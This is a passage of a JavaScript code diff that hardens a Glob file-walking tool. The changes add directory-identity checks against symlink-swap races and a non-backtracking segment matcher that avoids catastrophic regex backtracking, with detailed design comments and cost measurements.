+ // by the pattern and is allowed, while one the persisting `**` asked for is
1575
+ // the unbounded shape and is refused — see `walkGlob`'s `crossSet` doc.
1576
+ const ancestor = visitedDirs.has(key)
1577
+
1578
+ if (DIR_FD_REOPEN_SUPPORTED && !__testForcePathFallback) {
1579
+ // Linux: read entries from the SAME open file description — no further
1580
+ // path lookup, no further race, ever. See the doc above for the direct
1581
+ // verification that this survives the original path being swapped away.
1582
+ let dh
1583
+ try {
1584
+ dh = await opendir(`/proc/self/fd/${fh.fd}`)
1585
+ } catch {
1586
+ await fh.close().catch(() => {})
1587
+ return null
1588
+ }
1589
+ if (__testSeam) await __testSeam(target, 'after-verify')
1590
+ return { dh, path: target, key, fh, ancestor }
1591
+ }
1592
+
1593
+ // Fallback (macOS/win32/other — no fd-bound reopen available): a second,
1594
+ // path-based `opendir`, immediately re-verified with round 2's original
1595
+ // lstat-compare (see the doc above).
1596
+ let dh
1597
+ try {
1598
+ dh = await opendir(target)
1599
+ } catch {
1600
+ await fh.close().catch(() => {})
1601
+ return null
1602
+ }
1603
+ if (__testSeam) await __testSeam(target, 'after-opendir')
1604
+ let postStat
1605
+ try {
1606
+ postStat = await lstat(target, { bigint: true })
1607
+ } catch {
1608
+ await dh.close().catch(() => {})
1609
+ await fh.close().catch(() => {})
1610
+ return null
1611
+ }
1612
+ const stillSameObject = isVerifiedDirIdentity(postStat, preStat)
1613
+ await fh.close().catch(() => {}) // not used for listing on this path — release it now
1614
+ if (!stillSameObject) {
1615
+ await dh.close().catch(() => {})
1616
+ return null
280
1617
  }
281
- const files = result.stdout.split('\n').filter(Boolean)
282
- if (files.length === 0) return { content: `No matches for ${pattern}`, isError: false }
283
- return { content: files.join('\n'), isError: false }
1618
+ if (__testSeam) await __testSeam(target, 'after-verify')
1619
+ return { dh: verifyEntriesUnderParent(dh, target, preStat, __testSeam, parent === null), path: target, key, fh: null, ancestor }
1620
+ }
1621
+
1622
+ /**
1623
+ * #7919 — per-entry post-verification for the path-based fallback above
1624
+ * (macOS / win32: no fd-bound directory read). Owner decision recorded on
1625
+ * #7919: option 1, pure JS; a native `fdopendir` helper was rejected because
1626
+ * `bundle-server.sh` refuses native binaries in the bundle.
1627
+ *
1628
+ * `dh` came from `opendir(target)` BY PATH, so it is bound to whatever
1629
+ * directory `target` named at that instant. The lstat-compare right after it
1630
+ * proves `target` is the verified directory AGAIN, not that it was the
1631
+ * verified directory WHEN `opendir` ran: a swap to a symlink before
1632
+ * `opendir` and a swap back before that lstat hands `walk` a `Dir` open on
1633
+ * the OUTSIDE directory, whose entry NAMES would then appear in results.
1634
+ *
1635
+ * So entries are read in rounds of up to FALLBACK_VERIFY_BATCH, and none
1636
+ * reaches `walk` unless, for its round:
1637
+ * 1. every name exists under `parentPath` (`lstat(parentPath/name)`, run
1638
+ * concurrently across the round), and THEN
1639
+ * 2. `parentPath` is still the verified directory (same dev/ino, not a
1640
+ * symlink).
1641
+ * A name read from an outside directory fails step 1 once the real
1642
+ * directory is back in place; keeping the swap in place for step 1 fails
1643
+ * step 2. Beating both needs the attacker to swap out and back again for
1644
+ * EVERY round, landing each restore in the gap between that round's lstats
1645
+ * and its parent check — a multi-race that discloses at most one round of
1646
+ * names per success, where the unfixed path needed one double swap for the
1647
+ * whole directory. A name that exists in BOTH directories discloses
1648
+ * nothing: it is a real entry of the verified one.
1649
+ *
1650
+ * Step 2 failing means the directory was swapped at some point; the rest of
1651
+ * it is abandoned (fail closed). Step 1 answering ENOENT with the parent
1652
+ * intact is an ordinary concurrent delete; that entry is dropped. Any other
1653
+ * lstat error skips that entry; a root where nothing could be checked
1654
+ * throws, which Glob reports as an error result.
1655
+ *
1656
+ * RESIDUAL (not closed): the per-round timed double swap above, bounded to
1657
+ * FALLBACK_VERIFY_BATCH names each. Cost: about one lstat per entry plus one
1658
+ * per round, on macOS/win32 only — Linux reads through the verified fd and
1659
+ * never reaches this wrapper. See FALLBACK_VERIFY_BATCH for the measurement.
1660
+ *
1661
+ * Returns a `Dir`-shaped object: async-iterable, with `close()`. `walk`
1662
+ * consumes it with `for await` and closes it in its `finally`; breaking out
1663
+ * of the loop closes `dh` through the generator's own `return`, and the
1664
+ * later explicit `close()` rejection is already swallowed there.
1665
+ */
1666
+ /**
1667
+ * @typedef {{ name: string, isDirectory: () => boolean, isSymbolicLink: () => boolean, isFile: () => boolean }} VerifiedEntry
1668
+ * @typedef {{ [Symbol.asyncIterator]: () => AsyncGenerator<VerifiedEntry>, close: () => Promise<void> }} VerifiedDirLike
1669
+ */
1670
+ function verifyEntriesUnderParent(dh, parentPath, parentStat, __testSeam, isRoot = false) {
1671
+ return {
1672
+ async * [Symbol.asyncIterator]() {
1673
+ const it = dh[Symbol.asyncIterator]()
1674
+ let verified = 0
1675
+ let unverifiable = 0
1676
+ try {
1677
+ let exhausted = false
1678
+ while (!exhausted) {
1679
+ const batch = []
1680
+ while (batch.length < FALLBACK_VERIFY_BATCH) {
1681
+ const { value, done } = await it.next()
1682
+ if (done) { exhausted = true; break }
1683
+ batch.push(value)
1684
+ }
1685
+ if (batch.length === 0) break
1686
+ if (__testSeam) await __testSeam(parentPath, 'before-entry-verify', batch.map((d) => d.name))
1687
+ // Step 1, concurrently for the whole batch: does each name exist
1688
+ // under the parent PATH right now? Keep the lstat result — it is
1689
+ // the verified directory's own view of the entry.
1690
+ const outcomes = await Promise.all(batch.map((d) =>
1691
+ lstat(join(parentPath, d.name)).then(
1692
+ (st) => st,
1693
+ (err) => (err && err.code === 'ENOENT' ? 'gone' : 'error'),
1694
+ )))
1695
+ // An entry that could not be checked (anything but ENOENT) is skipped
1696
+ // and the listing continues; see the end of the iteration for the root.
1697
+ if (__testSeam) await __testSeam(parentPath, 'after-entry-lstat', batch.map((d) => d.name))
1698
+ // Step 2, AFTER step 1: is the parent still the verified directory?
1699
+ if (!(await isStillVerifiedDir(parentPath, parentStat))) return
1700
+ for (let i = 0; i < batch.length; i++) {
1701
+ const st = outcomes[i]
1702
+ if (st === 'gone') continue // deleted concurrently, parent intact
1703
+ if (st === 'error') { unverifiable++; continue }
1704
+ verified++
1705
+ // Yield the entry's TYPE from the step-1 lstat, never from the
1706
+ // Dirent: `dh` may be bound to a swapped-in outside directory, and
1707
+ // a name both directories share would otherwise carry the OUTSIDE
1708
+ // entry's isDirectory()/isSymbolicLink() into walk's descend and
1709
+ // symlink decisions. `name`, `isDirectory()` and `isSymbolicLink()`
1710
+ // are all walk reads.
1711
+ yield {
1712
+ name: batch[i].name,
1713
+ isDirectory: () => st.isDirectory(),
1714
+ isSymbolicLink: () => st.isSymbolicLink(),
1715
+ isFile: () => st.isFile(),
1716
+ }
1717
+ }
1718
+ }
1719
+ // A root none of whose entries could be checked is an error result, not
1720
+ // a quiet "no matches".
1721
+ if (isRoot && unverifiable > 0 && verified === 0) throw new Error(`cannot verify the entries of ${parentPath}`)
1722
+ } finally {
1723
+ // Closes `dh` on an early exit; a no-op once it is exhausted.
1724
+ try { await it.return?.() } catch { /* already closed */ }
1725
+ }
1726
+ },
1727
+ close: () => dh.close(),
1728
+ }
1729
+ }
1730
+
1731
+ /**
1732
+ * The one directory identity check used by the Glob walk: `stat` (taken with
1733
+ * `bigint: true`, from an lstat or from an fstat of an opened handle) describes
1734
+ * a real directory, not a symlink, with a nonzero inode, and has the same
1735
+ * device and inode as `verifiedStat`. Every term is checked at every call site,
1736
+ * so an edit here reaches all of them. `tests/byok-dir-identity-guard.test.js`
1737
+ * fails if another hand-written device/inode comparison appears in this file.
1738
+ */
1739
+ function isVerifiedDirIdentity(stat, verifiedStat) {
1740
+ return !stat.isSymbolicLink() &&
1741
+ stat.isDirectory() &&
1742
+ stat.ino !== 0n &&
1743
+ stat.dev === verifiedStat.dev &&
1744
+ stat.ino === verifiedStat.ino
1745
+ }
1746
+
1747
+ async function isStillVerifiedDir(path, verifiedStat) {
1748
+ let st
1749
+ try {
1750
+ st = await lstat(path, { bigint: true })
1751
+ } catch {
1752
+ return false
1753
+ }
1754
+ return isVerifiedDirIdentity(st, verifiedStat)
1755
+ }
1756
+
1757
+ /**
1758
+ * #7355 — parse a single glob PATTERN SEGMENT (no `/`) into a token array for
1759
+ * {@link segmentMatches}. Scope is exactly the syntax
1760
+ * {@link GLOB_PATTERN_SHELL_METACHARS} lets through to `fs.glob`: `*`, `?`,
1761
+ * `[...]`/`[!...]`/`[^...]` bracket expressions (with `-` ranges), and
1762
+ * `{a,b}` brace alternation (recursive — an alternative may itself contain
1763
+ * any of the above, including nested braces). No backslash escapes: `\` is
1764
+ * rejected from every Glob pattern upstream, so none are interpreted here
1765
+ * either — every other character is a literal.
1766
+ *
1767
+ * #7898 (this fix) — this used to compile straight to a `RegExp` (`*`/`?` as
1768
+ * `[\s\S]*`/`[\s\S]`, `{a,b}` as `(?:a|b)`), tested via `RegExp#test` in
1769
+ * {@link caseCheckPasses}. That is a BACKTRACKING regex: a segment shaped
1770
+ * like `*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*b` tested against a REAL
1771
+ * on-disk name that almost-but-doesn't match (`'a'.repeat(n)`, no trailing
1772
+ * `b`) is the textbook catastrophic-backtracking shape — measured: 0.03ms at
1773
+ * n=20, 811ms at n=30, 5.9s at n=32, and it only gets worse from there (each
1774
+ * +2 chars roughly 7-8x's the previous run). This check runs SYNCHRONOUSLY,
1775
+ * once per real directory entry `walkGlob` (#7901) reads, interleaved with
1776
+ * `runGlob`'s own 30s walk-timeout race rather than after it — but a single
1777
+ * over-budget call would still block the event loop for its own duration
1778
+ * regardless of the race around it, so nothing upstream of the complexity cap
1779
+ * below may assume this check is cheap. `**`-count no longer fails this class
1780
+ * of pattern closed before reaching the regex either (that was this exact
1781
+ * defect class's OWN prior fix, in this same commit, removing the `ambiguous`
1782
+ * short-circuit for 2+ `**` segments) — so every pattern shape now reaches
1783
+ * this segment matcher, which is why it has to be safe on its own rather than
1784
+ * relying on an upstream fail-closed path to shield it.
1785
+ *
1786
+ * The replacement is a token list consumed by an iterative, non-backtracking
1787
+ * DP ({@link segmentMatches}) — the same technique {@link caseCheckPasses}
1788
+ * already uses one level up for `**` across path segments, just applied one
1789
+ * level down, per CHARACTER, to `*`/`?` within a single segment. Verified
1790
+ * behaviorally identical to the former regex compiler across 20,000 random
1791
+ * (pattern, string) pairs before this fix landed, and safe: n=5000 against
1792
+ * the exact pathological pattern above now takes ~5ms, not "does not finish".
1793
+ *
1794
+ * `*`/`?` match a literal newline within a segment too (a filename may
1795
+ * legally contain one — see #7357): the DP advances by testing `str[j]`
1796
+ * directly against no character at all (`any`/`star`), never through a `.`-
1797
+ * style regex metachar that would need `[\s\S]` to include `\n` — matching
1798
+ * every character, newlines included, needs no special-casing here.
1799
+ *
1800
+ * DOT HANDLING (#7901) — added when `walkGlob` became this matcher's OWN
1801
+ * candidate source rather than a post-hoc re-check over candidates `fs.glob`
1802
+ * already filtered. `fs.glob`'s default (verified directly against Node 22's
1803
+ * `glob()`) never lets a bare `*`, `?`, or an ordinary bracket class stand for
1804
+ * a REAL segment's leading dot: `*.ts` does not match `.env`, `?env` does
1805
+ * not, `[.a]env`/`[a.]env` (a class with more than one member, even when `.`
1806
+ * is one of them) does not, `[^a]env`/`[!a]env` (a negated class that would
1807
+ * incidentally accept `.` under ordinary regex semantics) does not — only a
1808
+ * LITERAL leading `.` (`.env*`, `.[a-z]*`) reaches a dotfile, with exactly one
1809
+ * observed exception: `[.]` — a non-negated class whose SOLE member is a
1810
+ * literal dot — is privileged the same as a literal `.` (`[.]env` matches
1811
+ * `.env`); a class with any other member alongside the dot is not. This is
1812
+ * encoded as `soleDot` on a `class` token ({@link parseBracketExpr}) and
1813
+ * enforced by {@link advanceToken}'s dot guard, which triggers ONLY at real
1814
+ * offset 0 — everywhere else a `.` is an ordinary character, matched like any
1815
+ * other. `**` gets no such exception ever (it carries no literal text of its
1816
+ * own to be "explicit" with): see {@link walkGlob}'s own dot check.
1817
+ */
1818
+ function parseSegmentTokens(seg) {
1819
+ const tokens = []
1820
+ // #7951 review — every `{` this loop reaches asks where its group closes.
1821
+ // Answered from ONE bracket-aware pairing pass over the segment, built on
1822
+ // first use, instead of one forward rescan per `{` — see braceCloseTable's
1823
+ // doc for the measured cubic cost a per-`{` rescan has once pairing skips
1824
+ // bracket expressions.
1825
+ let closeTable = null
1826
+ // #7965 — a `[` after the last `]` cannot open a class (there is no `]`
1827
+ // left to close it), so asking {@link parseBracketExpr} about it only buys a
1828
+ // full `indexOf` to the end that finds nothing, plus an allocation: per `[`
1829
+ // of an unclosed run, i.e. quadratic. One lookup up front, then those `[`
1830
+ // are literals without a scan. Same skip as {@link hostBraceNestingDepth}'s.
1831
+ const lastClose = seg.lastIndexOf(']')
1832
+ let i = 0
1833
+ while (i < seg.length) {
1834
+ const c = seg[i]
1835
+ if (c === '*') {
1836
+ tokens.push({ t: 'star' })
1837
+ i++
1838
+ } else if (c === '?') {
1839
+ tokens.push({ t: 'any' })
1840
+ i++
1841
+ } else if (c === '[') {
1842
+ const parsed = i < lastClose ? parseBracketExpr(seg, i) : null
1843
+ if (parsed) {
1844
+ // A bracket class only ever tests ONE character at a time (see
1845
+ // `advanceToken`'s 'class' arm) — a single-char regex test can never
1846
+ // backtrack, so reusing RegExp here for the class body is safe,
1847
+ // unlike compiling the WHOLE segment (including `*`/`?` runs) to one.
1848
+ //
1849
+ // #7898 round 3 — `parseBracketExpr` accepts any `-`-range TEXT
1850
+ // (`[z-a]`, `[9-0]`, `[b-!a!x]` from combining adjacent special
1851
+ // characters) without checking the range is in order; JS's `RegExp`
1852
+ // constructor rejects an out-of-order range (`Range out of order in
1853
+ // character class`) and THROWS, synchronously, from inside
1854
+ // `compileCaseCheck` — which runs unconditionally, for every Glob
1855
+ // call whose pattern has a bracket segment, before a single directory
1856
+ // entry is even read (`runGlob` calls it up front). Nothing between
1857
+ // here and `executeBuiltinTool` catches it, so an ordinary "No
1858
+ // matches" (confirmed empirically: `fs.glob` itself tolerates
1859
+ // `[z-a]bc.ts` and simply matches nothing, it does not throw) turns
1860
+ // into a surfaced `Tool Glob failed: Invalid regular expression...`
1861
+ // error instead. Fail closed the same way an unclosed `[` or a
1862
+ // malformed segment already does elsewhere in this parser: a bracket
1863
+ // expression JS cannot compile becomes a token that matches no
1864
+ // character, ever — never a crash.
1865
+ let re
1866
+ try {
1867
+ re = new RegExp(`^${parsed.source}$`)
1868
+ } catch {
1869
+ tokens.push({ t: 'none' })
1870
+ i = parsed.next
1871
+ continue
1872
+ }
1873
+ tokens.push({ t: 'class', re, soleDot: parsed.soleDot })
1874
+ i = parsed.next
1875
+ } else {
1876
+ tokens.push({ t: 'lit', ch: '[' })
1877
+ i++
1878
+ }
1879
+ } else if (c === '{') {
1880
+ closeTable ??= braceCloseTable(seg)
1881
+ const close = closeTable[i]
1882
+ if (close === -1) {
1883
+ tokens.push({ t: 'lit', ch: '{' })
1884
+ i++
1885
+ } else {
1886
+ const alts = splitTopLevelCommas(seg.slice(i + 1, close))
1887
+ // #7951 — a matched `{...}` with NO top-level comma is NOT
1888
+ // alternation to `fs.glob` (verified directly: `{dup}` against a
1889
+ // real file named `dup` returns no matches, while a real file
1890
+ // literally named `{braces}.txt` IS matched by the pattern
1891
+ // `{braces}.txt` — same rule `expandBraces` already documents for
1892
+ // the slash-spanning path). Before this fix, EVERY matched brace
1893
+ // pair became an `alt` token regardless of comma count, so
1894
+ // `{dup}` wrongly matched `dup` and `brackets/{braces}.txt` missed
1895
+ // the real file entirely.
1896
+ //
1897
+ // Fix: only compile to `alt` when there is more than one
1898
+ // alternative. Otherwise treat the '{' as an ordinary literal
1899
+ // token and let THIS SAME loop keep scanning its interior
1900
+ // normally — a wildcard/bracket-class inside still functions
1901
+ // (`{a*}` still lets `*` match), and a NESTED brace group that
1902
+ // DOES have its own top-level comma still expands when the loop
1903
+ // reaches it (only the braces immediately enclosing a comma-less
1904
+ // body are literal, not everything inside them) — matching
1905
+ // `expandBraces`'s "anything expandable nested inside it still
1906
+ // expands" rule exactly. The matching '}' is reached later by
1907
+ // this same loop's `else` branch, which already treats a bare
1908
+ // '}' as a literal character.
1909
+ if (alts.length > 1) {
1910
+ tokens.push({ t: 'alt', options: alts.map(parseSegmentTokens) })
1911
+ i = close + 1
1912
+ } else {
1913
+ tokens.push({ t: 'lit', ch: '{' })
1914
+ i++
1915
+ }
1916
+ }
1917
+ } else {
1918
+ tokens.push({ t: 'lit', ch: c })
1919
+ i++
1920
+ }
1921
+ }
1922
+ return tokens
1923
+ }
1924
+
1925
+ /**
1926
+ * Advance a SET of reachable string offsets in `str` through one
1927
+ * {@link parseSegmentTokens} token, without backtracking:
1928
+ * - `lit`/`any`/`class` consume exactly one character from each reachable
1929
+ * offset (O(|reachable|) work — never more than `str.length` offsets are
1930
+ * ever live at once, so this cannot blow up regardless of how the
1931
+ * pattern is shaped).
1932
+ * - `star` matches zero or more characters: once ANY offset is reachable,
1933
+ * every LATER offset becomes reachable too, computed as a prefix-OR scan
1934
+ * from the minimum reachable offset (the same trick {@link caseCheckPasses}
1935
+ * already uses for `**` one level up, here per character) — O(str.length),
1936
+ * never an inner retry loop.
1937
+ * - `alt` (a `{a,b}` brace) tries each alternative from the WHOLE reachable
1938
+ * set at once via a single nested {@link advanceTokens} call per option,
1939
+ * and unions the results — bounded by (alternatives) × (that
1940
+ * alternative's own cost), which is O(str.length) per option regardless
1941
+ * of |reachable|, for the same reason `star` above is: `advanceToken` is
1942
+ * a function that COMMUTES with set union (`f(A ∪ B) = f(A) ∪ f(B)` for
1943
+ * every token type, `star` included — its output only depends on
1944
+ * `min(reachable)`, and `min(A ∪ B) = min(min(A), min(B))`), so feeding
1945
+ * an option the FULL reachable set in one call is provably identical to
1946
+ * feeding it each singleton `{j}` separately and unioning — just without
1947
+ * redoing the option's own O(str.length) work once per `j`.
1948
+ *
1949
+ * #7898 round 3 — this used to loop `for (const j of reachable) { for
1950
+ * (const option ...) { advanceTokens(option, str, new Set([j])) } }`,
1951
+ * recomputing each option from scratch for every individual reachable
1952
+ * offset. That is the same shape of accidental quadratic blowup the
1953
+ * `star` fix above exists to avoid, just one level up: a segment built
1954
+ * from L sequential `{*a,*b}`-shaped groups (an ordinary, unremarkable
1955
+ * glob shape — `{*.ts,*.js}` is a completely normal pattern) pays
1956
+ * O(|reachable|) = O(str.length) extra work at EVERY such group, because
1957
+ * each group's own `*` re-expands reachable back to near-`str.length`
1958
+ * before the next group starts. Measured on the un-batched version: a
1959
+ * 20×`{*a,*b}` pattern (140 chars) against a 5000-char non-matching real
1960
+ * segment took 12.96 SECONDS; even bounded to a filesystem-realistic
1961
+ * 255-byte name, 100 sequential groups (a 700-char pattern, well within
1962
+ * what an attacker can type — nothing upstream caps `pattern` length)
1963
+ * already exceeded 100ms. `compileCaseCheck`/`caseCheckPasses` run
1964
+ * SYNCHRONOUSLY per Glob match (up to `GLOB_COLLECT_CEILING` = 50,000 of
1965
+ * them), after `runGlob`'s own walk-timeout race has already resolved —
1966
+ * the exact single-threaded-event-loop-freeze shape `ccd677c4b` (this
1967
+ * same PR, one commit up) replaced a backtracking RegExp to eliminate,
1968
+ * reintroduced here through the one branch that still had an
1969
+ * |reachable|-proportional term. Batching removes it: this function is
1970
+ * now O(str.length) worst case for every token type, `alt` included.
1971
+ *
1972
+ * DOT GUARD (#7901) — see parseSegmentTokens's DOT HANDLING doc. `dotGuarded`
1973
+ * is true exactly when `str` (the REAL segment name being tested) starts with
1974
+ * a literal dot; the guard only ever changes behavior at offset 0, since
1975
+ * offset 0 becoming reachable at any LATER token means an earlier token
1976
+ * already legitimately consumed the leading dot, and every following
1977
+ * character is ordinary. It does not disturb the commutes-with-union property
1978
+ * the `alt` batching above relies on: whether 0 stays in a token's output
1979
+ * depends only on whether 0 was in its input, independent of anything else in
1980
+ * the set, so `f(A ∪ B) = f(A) ∪ f(B)` still holds token-type by token-type.
1981
+ */
1982
+ function advanceToken(token, str, reachable) {
1983
+ const n = str.length
1984
+ const dotGuarded = n > 0 && str[0] === '.'
1985
+ if (token.t === 'star') {
1986
+ const next = new Set()
1987
+ let min = Infinity
1988
+ for (const j of reachable) {
1989
+ // #7910 review (item 4) — `*` is NEVER dot-entitled, not even with
1990
+ // zero width: dropping offset 0 outright (rather than keeping it
1991
+ // reachable via a zero-width self-loop, as an earlier cut did) is what
1992
+ // `parseSegmentTokens`'s own doc already promises ("only a LITERAL
1993
+ // leading `.` ... reaches a dotfile"). The zero-width carve-out this
1994
+ // replaces let a LATER dot-entitled literal consume the leading dot
1995
+ // AFTER the star had "passed through" it doing nothing — which made
1996
+ // `*.env` match a real `.env` (verified: Node 22's `glob()` returns no
1997
+ // matches for `*.env` against `.env`). Offset 0 becoming reachable via
1998
+ // a LATER token (one that legitimately consumed the dot itself) is
1999
+ // unaffected — this only ever drops offset 0 from THIS token's own
2000
+ // output.
2001
+ if (dotGuarded && j === 0) continue
2002
+ if (j < min) min = j
2003
+ }
2004
+ if (min !== Infinity) { for (let j = min; j <= n; j++) next.add(j) }
2005
+ return next
2006
+ }
2007
+ const next = new Set()
2008
+ if (token.t === 'alt') {
2009
+ for (const option of token.options) {
2010
+ for (const end of advanceTokens(option, str, reachable)) next.add(end)
2011
+ }
2012
+ return next
2013
+ }
2014
+ // A `lit` token whose own character is '.' is always entitled to consume
2015
+ // offset 0; a `class` token is entitled only when parseBracketExpr flagged
2016
+ // it `soleDot` (the `[.]` exception — see its doc). Every other token type
2017
+ // (`any`, an ordinary `class`) is never entitled, matching `fs.glob`'s own
2018
+ // default of never letting a bare wildcard stand for a leading dot.
2019
+ const dotEntitled = token.t === 'lit' ? token.ch === '.' : token.t === 'class' && token.soleDot === true
2020
+ for (const j of reachable) {
2021
+ if (j >= n) continue
2022
+ if (j === 0 && dotGuarded && !dotEntitled) continue
2023
+ const c = str[j]
2024
+ if (token.t === 'lit' && c === token.ch) next.add(j + 1)
2025
+ else if (token.t === 'any') next.add(j + 1)
2026
+ else if (token.t === 'class' && token.re.test(c)) next.add(j + 1)
2027
+ // `t: 'none'` (a bracket expression `parseSegmentTokens` could not
2028
+ // compile to a RegExp — see its try/catch) intentionally matches no
2029
+ // branch above: it consumes nothing, ever, for any character. Fail
2030
+ // closed, on purpose, not an omission.
2031
+ }
2032
+ return next
2033
+ }
2034
+
2035
+ /** Run a whole {@link parseSegmentTokens} token array through {@link advanceToken}, in order. */
2036
+ function advanceTokens(tokens, str, startReachable) {
2037
+ let reachable = startReachable
2038
+ for (const token of tokens) {
2039
+ reachable = advanceToken(token, str, reachable)
2040
+ if (reachable.size === 0) return reachable
2041
+ }
2042
+ return reachable
2043
+ }
2044
+
2045
+ /**
2046
+ * Does a {@link parseSegmentTokens} token array match `str` exactly, start to
2047
+ * end (case-sensitively — `lit` compares characters with `===`)? The safe,
2048
+ * non-backtracking replacement for `new RegExp(...).test(str)`.
2049
+ */
2050
+ function segmentMatches(tokens, str) {
2051
+ const end = advanceTokens(tokens, str, new Set([0]))
2052
+ return end.has(str.length)
2053
+ }
2054
+
2055
+ /**
2056
+ * Parse a `[...]` bracket expression starting at `seg[openIdx] === '['`.
2057
+ * Returns `null` (caller treats `[` as a literal) when there is no closing
2058
+ * `]` — the same "unmatched metachar is literal" rule glob implementations
2059
+ * use. A `]` immediately after `[` or `[!`/`[^` is a literal `]`, per POSIX.
2060
+ *
2061
+ * `soleDot` (#7901) — true exactly when this class is `[.]`: non-negated,
2062
+ * one member, that member a literal dot. Node's `fs.glob` gives this one
2063
+ * shape of bracket class the same "explicit dot" privilege as a bare literal
2064
+ * `.` (verified directly: `[.]env` matches a real `.env`), while every other
2065
+ * class — `[.a]`, `[a.]`, any negated class, `.` on a `-` end of a range —
2066
+ * does not, even when `.` is technically among the characters it accepts. See
2067
+ * parseSegmentTokens's DOT HANDLING doc and advanceToken's dot guard, which
2068
+ * is the only place this flag is read.
2069
+ */
2070
+ function parseBracketExpr(seg, openIdx) {
2071
+ const next = bracketExprEnd(seg, openIdx)
2072
+ if (next === -1) return null
2073
+ const negate = seg[openIdx + 1] === '!' || seg[openIdx + 1] === '^'
2074
+ const body = seg.slice(openIdx + (negate ? 2 : 1), next - 1)
2075
+ // '-' is left alone (ranges mean the same thing in a JS class); '^' and ']'
2076
+ // are escaped so an unlucky position (leading '^', an already-consumed
2077
+ // leading ']') can't be misread as class syntax.
2078
+ const classBody = body.replace(/\^/g, '\\^').replace(/\]/g, '\\]')
2079
+ return { source: `[${negate ? '^' : ''}${classBody}]`, next, soleDot: !negate && body === '.' }
2080
+ }
2081
+
2082
+ /**
2083
+ * Where the bracket expression opening at `seg[openIdx] === '['` ends: the
2084
+ * index just past its closing `]`, or -1 when this `[` is a literal. This is
2085
+ * {@link parseBracketExpr}'s delimiting rule and its only implementation —
2086
+ * that function calls this one — so a scan that only needs to SKIP a bracket
2087
+ * expression (`hostBraceNestingDepth`) can do so without building the class
2088
+ * source, and cannot disagree with the parser about where the class ends.
2089
+ *
2090
+ * #7918 review — the native `indexOf` rather than a JS loop: same answer (the
2091
+ * first `]` at or after `j`, or none), but a run of unclosed `[` costs one
2092
+ * full scan per `[` either way, and #7918's brace expansion can hand up to
2093
+ * GLOB_BRACE_EXPANSION_CAP patterns to `compileCaseCheck` per call, so the
2094
+ * constant factor of that quadratic is no longer paid once.
2095
+ */
2096
+ function bracketExprEnd(seg, openIdx) {
2097
+ let j = openIdx + 1
2098
+ if (seg[j] === '!' || seg[j] === '^') j++
2099
+ const start = j
2100
+ if (seg[j] === ']') j++
2101
+ j = seg.indexOf(']', j)
2102
+ // An empty body cannot actually occur (a `]` at `start` is consumed as a
2103
+ // member above), but the rule "no body, no class" is kept explicit.
2104
+ if (j === -1 || j === start) return -1
2105
+ return j + 1
2106
+ }
2107
+
2108
+ /**
2109
+ * `closeOf[i]` — the index of the `}` matching a `{` at `i` in `seg`, or -1
2110
+ * when that `{` is unmatched (or `seg[i]` is not a `{`). One left-to-right
2111
+ * stack pass, so a matched pair is exactly the `{`/`}` a forward depth count
2112
+ * from `i` would stop at.
2113
+ *
2114
+ * #7951 — bracket-expression AWARE: a `{`/`}` inside a `[...]` class is a
2115
+ * class member, not brace syntax, so `{[}]a,b}`'s embedded `}` does not end
2116
+ * the group early. This is THIS MODULE'S rule, kept identical to
2117
+ * {@link expandBraces}'s pass-1 pairing so the per-segment and whole-pattern
2118
+ * paths never disagree on where a group ends. It is NOT a claim about
2119
+ * `fs.glob`: its brace expansion (`brace-expansion`'s `balanced-match`) knows
2120
+ * nothing about brackets at all. The two agree on `{a[}]b,fc}` (both yield
2121
+ * the alternatives `a[}]b` and `fc`) only because `brace-expansion` has a
2122
+ * separate rule that re-pairs a comma-less group's `}` as literal when a
2123
+ * `,…}` follows it — and they disagree on `{a,b[}]c}`, where `fs.glob` closes
2124
+ * the group at the bracketed `}`. The parity harness pins those shapes in
2125
+ * its #7951 known-difference bucket rather than claiming a parity that does
2126
+ * not hold.
2127
+ *
2128
+ * COST (#7951 review) — the previous per-`{` forward scan re-parsed every
2129
+ * bracket expression after that `{` on every call. A `{` that bracket-aware
2130
+ * pairing leaves unmatched (`{[}]`) scans to the end of the segment, and an
2131
+ * unclosed `[` costs a full `indexOf` to the end each time it is re-parsed.
2132
+ * Even held to 30 such `{` (under the host depth ceiling in `runGlob`),
2133
+ * `'{1..999}' + '{[}]'.repeat(30) + '['.repeat(1870)` cost ~2.2ms per
2134
+ * compile, times the 999 patterns `runGlob` compiles: 2.1s of CPU for one
2135
+ * Glob call, against ~90ms with this table (origin/main, pairing
2136
+ * bracket-oblivious, did not expand ranges at all). One pass per segment costs what
2137
+ * {@link parseSegmentTokens}'s own loop already costs (it too calls
2138
+ * {@link parseBracketExpr} at every `[`), whatever the number of `{`.
2139
+ */
2140
+ function braceCloseTable(seg) {
2141
+ const n = seg.length
2142
+ const closeOf = new Int32Array(n).fill(-1)
2143
+ const stack = []
2144
+ // #7965 — only where a class ENDS matters here, so {@link bracketExprEnd}
2145
+ // (no source string, no object) rather than {@link parseBracketExpr}, and a
2146
+ // `[` past the last `]` is skipped without the scan that finds no `]` —
2147
+ // the same two moves {@link hostBraceNestingDepth} makes.
2148
+ const lastClose = seg.lastIndexOf(']')
2149
+ let j = 0
2150
+ while (j < n) {
2151
+ const c = seg[j]
2152
+ if (c === '[' && j < lastClose) {
2153
+ const end = bracketExprEnd(seg, j)
2154
+ if (end !== -1) { j = end; continue }
2155
+ }
2156
+ if (c === '{') stack.push(j)
2157
+ else if (c === '}' && stack.length > 0) closeOf[stack.pop()] = j
2158
+ j++
2159
+ }
2160
+ return closeOf
2161
+ }
2162
+
2163
+ /**
2164
+ * The deepest `{` nesting {@link braceCloseTable}'s pairing reaches in `s` —
2165
+ * the same scan, keeping only the stack height. Every recursion
2166
+ * {@link parseSegmentTokens} and `advanceToken` perform is on a pair this
2167
+ * scan counts (and an unmatched `{` only raises it), so it is an upper bound
2168
+ * on their depth, which the bracket-oblivious `globPatternComplexityReason`
2169
+ * counter is not for this parser (see `runGlob`'s #7951 review note).
2170
+ *
2171
+ * COST — `runGlob` runs this over EVERY expanded pattern before the walk,
2172
+ * synchronously: up to 1,000 patterns of up to 2,000 chars, so it must be one
2173
+ * pass per pattern. It cannot instead run once over the raw pattern — an
2174
+ * expansion can nest far deeper than the pattern it came from (see the
2175
+ * runGlob note) — so its total is linear in the expansion's OUTPUT, the same
2176
+ * order as materializing that output and deduplicating it just before.
2177
+ * - `lastClose`: an unclosed `[` costs {@link bracketExprEnd} a full
2178
+ * `indexOf` to the end, so a run of them is quadratic per pattern —
2179
+ * ~70ms for the 999 expansions of `{1..999}` + 1,990 `[`, against ~3ms
2180
